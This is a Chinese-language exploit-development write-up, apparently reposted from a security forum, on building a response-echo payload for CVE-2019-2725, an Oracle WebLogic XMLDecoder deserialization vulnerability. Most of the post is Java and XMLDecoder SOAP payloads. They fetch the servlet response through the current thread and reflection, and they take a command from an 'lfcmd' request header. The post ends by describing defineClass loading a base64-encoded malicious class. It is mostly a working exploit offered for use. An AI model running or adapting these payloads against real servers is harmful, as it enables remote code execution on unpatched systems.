Github地址:
https://github.com/lufeirider/CVE-2019-2725
通过一个小例子来理解xmldecoder解析的xml的语法,方便后面回显exp的构造。
java.io.BufferedWriter out = new java.io.BufferedWriter(new java.io.FileWriter("f:/1.txt"));
String className = out.getClass().toString();
out.write(className);
out.close();
<object class="java.io.BufferedWriter">
<object class="java.io.FileWriter"><string>f:/2.txt</string></object>
<void property="class" id="class_property"></void>
<object class="java.io.String"><object idref="class_property"><void method="toString" id="className"></void></object></object>
<void method="write"><object idref="className"></object></void>
<void method="close"></void>
</object>
<object class="java.io.FileWriter"><string>f:/2.txt</string></object>
或者<void class="java.io.FileWriter"><string>f:/2.txt</string></void>
在object或void标签之中的第一标签是值,用于初始化对象。
out.getClass().toString()
<void method="getClass"><void method="toString" id="className"></void></void>
既在void之中的第一标签是void。
a.getxxx("xxx").toString()
<void method="getxxx">
<string>xxx</string>
<void method="toString"></void>
</void>
既在void之中的第一标签是值,第二个标签是void。
out.write(className);
out.close();
<void method="write"><object idref="className"></object></void>
<void method="close"></void>
void属于并列关系。
<void property="class" id="class_property"></void>
,在这里获取使用property
来获取属性,其实使用的就是getXXX()函数来获取
<void property="class" id="class_property"></void>
,这里在void
中使用id
进行标记,然后在<void method="write"><object idref="className"></object></void>
中使用idref
进行引用。
最后会在f盘中写入2.txt文件。
原理:获取当前线程,然后调用函数进行显示。
weblogic封装了很多线程,无法确认获取的是哪个线程类。可以通过报错的形式获取。
<void class="java.lang.Thread" method="currentThread">
<void method="xxxxxxx"></void></void>
可以获取到的线程类是ExecuteThread
。
但是有两个ExecuteThread
,在不同包里面,可以使用weblogic.work.ExecuteThread中特有的getDate函数,发现没有报错。说明就是weblogic.work.ExecuteThread
。
利用ServletResponse类的getWriter,然后输出。
PrintWriter pw = response.getWriter();
pw.write("hello");
或者利用ServletResponse类的getOutputStream进行输出。
response.getOutputStream().write("hello".getBytes("UTF-8"));
如果没有参考输出的代码,自己要找的话,其实比较困难,因为weblogic会有很多类有getWriter、getOutputStream函数(虽然后面发现也对response搞了getResponse函数)用于各种场景,很难找到正确的类,只能通过查看类名进行初步判断进行筛选,这个过程异常痛苦。(后面发现是可以通过查看是否实现了ServletResponse接口来判断,虽然类还是很多,但是比之前直接搜索函数少不少。)
而且就算找对了ServletResponseImpl,并且对getOutputStream下断点,还发现跟的是一个异步,没办法回显。(后面发现,对response下断点就可以跟踪到同步线程)
因为没有更好的思路,看了shack2的工具。不过也比较痛苦,没有java的源代码,只有xml,通过大量的测试终于找到了正确的类,成功下了断点。
server\lib\weblogic.jar!\weblogic\servlet\internal\ServletRequestImpl.class
weblogic.servlet.internal.ServletRequestImpl
getResponse
((ServletRequestImpl) this.getCurrentWork()).getResponse().getWriter().write("xxxxxxx")
,就会在返回包中看到返回xxxxxxx。
但是这样会存在问题,会提示。
原因是getOutputStream是字节流,getWriter是字符流,不统一,java源码提示的是,不能在getWriter后面调用getOutputStream。在谷歌过程中还产生一个疑问,说只能使用其中一种流。很奇怪,在构造回显的时候,先使用getOutputStream,再使用getWriter也是没问题的。
((ServletRequestImpl) this.getCurrentWork()).getResponse().getServletOutputStream().writeStream(new StringInputStream("xxxx"))
((ServletRequestImpl) this.getCurrentWork()).getResponse().getServletOutputStream().flush()
所以这里使用getOutputStream进行输出,虽然显示了结果,但是还是有其他的东西。
只要执行下面的东西,就会把结果覆盖掉为空。两种流是互相拼接起来。
((ServletRequestImpl) this.getCurrentWork()).getResponse().getWriter().write("")
再者要解决接受参数的问题,这个比较简单,因为接受参数就在返回函数的附近。从header头lufei接受参数。
((weblogic.servlet.internal.ServletRequestImpl) ((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lufei");
整合起来
String lfcmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lfcmd");
weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();
weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();
outputStream.writeStream(new weblogic.xml.util.StringInputStream(lfcmd));
outputStream.flush();
response.getWriter().write("");
<void class="java.lang.Thread" method="currentThread">
<void method="getCurrentWork">
<void method="getResponse">
<void method="getServletOutputStream">
<void method="writeStream">
<object class="weblogic.xml.util.StringInputStream"><string>2222222222</string></object>
</void>
<void method="flush"/>
</void>
<void method="getWriter"><void method="write"><string></string></void></void>
</void>
</void>
</void>
发现拿前面的回显不能用了。在cmd窗口报错显示java.lang.NoSuchMethodException: <unbound>=ContainerSupportProviderImpl$WlsRequestExecutor.getResponse();
。我们在response下断点,然后关注是否在weblogic.work.ExecuteThread
这个线程类中。
发现getCurrentWork
获取的是ContainerSupportProviderImpl$WlsRequestExecutor
类,这个类没有getResponse函数。
但是在ContainerSupportProviderImpl$WlsRequestExecutor
类发现里面有一个属性,是能够获取到response的。
但是这个connectionHandler并没有getter,所以无法使用property="connectionHandler"属性,只能通过反射的方式去获取。只要能够getResponse后面流程差不多。
java.lang.reflect.Field field = ((weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor)this.getCurrentWork()).getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
HttpConnectionHandler httpConn = (HttpConnectionHandler) field.get(this.getCurrentWork());
httpConn.getServletRequest().getResponse().getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream("xxxxxx"));
转成xml
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.Thread" method="currentThread">
<void method="getCurrentWork" id="current_work"></void>
</void>
<void class="java.lang.Thread" method="currentThread">
<void method="getCurrentWork">
<void method="getClass">
<void method="getDeclaredField" id="field"><string>connectionHandler</string></void>
</void>
</void>
</void>
<object idref="field">
<void method="setAccessible">
<boolean>true</boolean>
</void>
<void method="get" id="http_conn">
<object idref="current_work"></object>
</void>
</object>
<object idref="http_conn">
<void method="getServletRequest">
<void method="getResponse">
<void method="getServletOutputStream">
<void method="writeStream">
<object class="weblogic.xml.util.StringInputStream"><string>33333333333333</string></object>
</void>
<void method="flush"/>
</void>
<void method="getWriter"><void method="write"><string></string></void></void>
</void>
</void>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
进行简化
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.Thread" method="currentThread">
<void method="getCurrentWork" id="current_work">
<void method="getClass">
<void method="getDeclaredField">
<string>connectionHandler</string>
<void method="setAccessible"><boolean>true</boolean></void>
<void method="get">
<object idref="current_work"></object>
<void method="getServletRequest">
<void method="getResponse">
<void method="getServletOutputStream">
<void method="writeStream">
<object class="weblogic.xml.util.StringInputStream"><string>lufei test</string></object>
</void>
<void method="flush"/>
</void>
<void method="getWriter"><void method="write"><string></string></void></void>
</void>
</void>
</void>
</void>
</void>
</void>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
最后一步,使用defineclass还原恶意class,这个类比较好的是可以把一个类变成一个模块,到处使用,非常nice。当然也可以不用这个类。我这里直接转成了base64,因为有现成的文件转换工具。具体代码请看github。
转自先知社区
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.